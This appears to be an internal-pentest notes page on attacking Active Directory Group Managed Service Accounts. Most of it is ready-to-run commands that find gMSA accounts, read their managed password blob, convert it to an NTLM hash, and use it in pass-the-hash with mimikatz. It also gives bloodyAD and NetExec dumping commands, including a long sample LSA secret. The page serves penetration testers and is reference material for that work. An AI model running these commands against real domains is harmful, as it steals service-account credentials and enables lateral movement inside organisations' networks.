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On this page
  • Find Accounts
  • Principals that can read the password blob
  • Get NTLM Hash
  • BloodyAD
  • NXC
  • Golden gMSA
  1. Pentest
  2. Internal Pentest

gMSA

PreviousDPAPINextdMSA - Windows Server 2025

Last updated 2 months ago

Group Managed Service Account (gMSA) provides automatic password management, SPN management and delegated administration for service accounts across multiple servers

Recommended to protect from Kerberoast type attacks

Find Accounts

# AD Module
Get-ADServiceAccount -Filter *

# PowerView
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'

Principals that can read the password blob

# AD Module
Get-ADServiceAccount -Identity jumpone -Properties * | select PrincipalsAllowedToRetrieveManagedPassword

Get NTLM Hash

https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword

$Passwordblob = (Get-ADServiceAccount -Identity jumpone -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
Import-Module C:\AD\Tools\DSInternals_v4.7\DSInternals\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

PtH

sekurlsa::pth /user:jumpone /domain:us.techcorp.local /ntlm:<ntlm_hash>

BloodyAD

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword

NXC

Extract gmsa credentials accounts

nxc ldap <ip> -u <user> -p <pass> --gmsa

Convert gSAM id, convert gmsa lsa to ntlm ...

nxc ldap <ip> -u <user> -p <pass> --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
nxc ldap <ip> -u <user> -p <pass> --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'

Golden gMSA

Only privilege accounts such as Domain Admins, Enterprise Admins or SYSTEM can retrieve the KDS root key.

Pass the Hash (PtH)
Kerberoast
Hunt for the gMSA secrets
Credential Dumping: GMSA - Hacking ArticlesHacking Articles
Attacking Active Directory Group Managed Service Accounts (GMSAs)Active Directory Security
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Dump gMSA | NetExec
Extract gMSA Secrets | NetExec
gMSA Active Directory Attacks | Semperis AD GuidesSemperis
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GoldenGMSAThe Hacker Recipes
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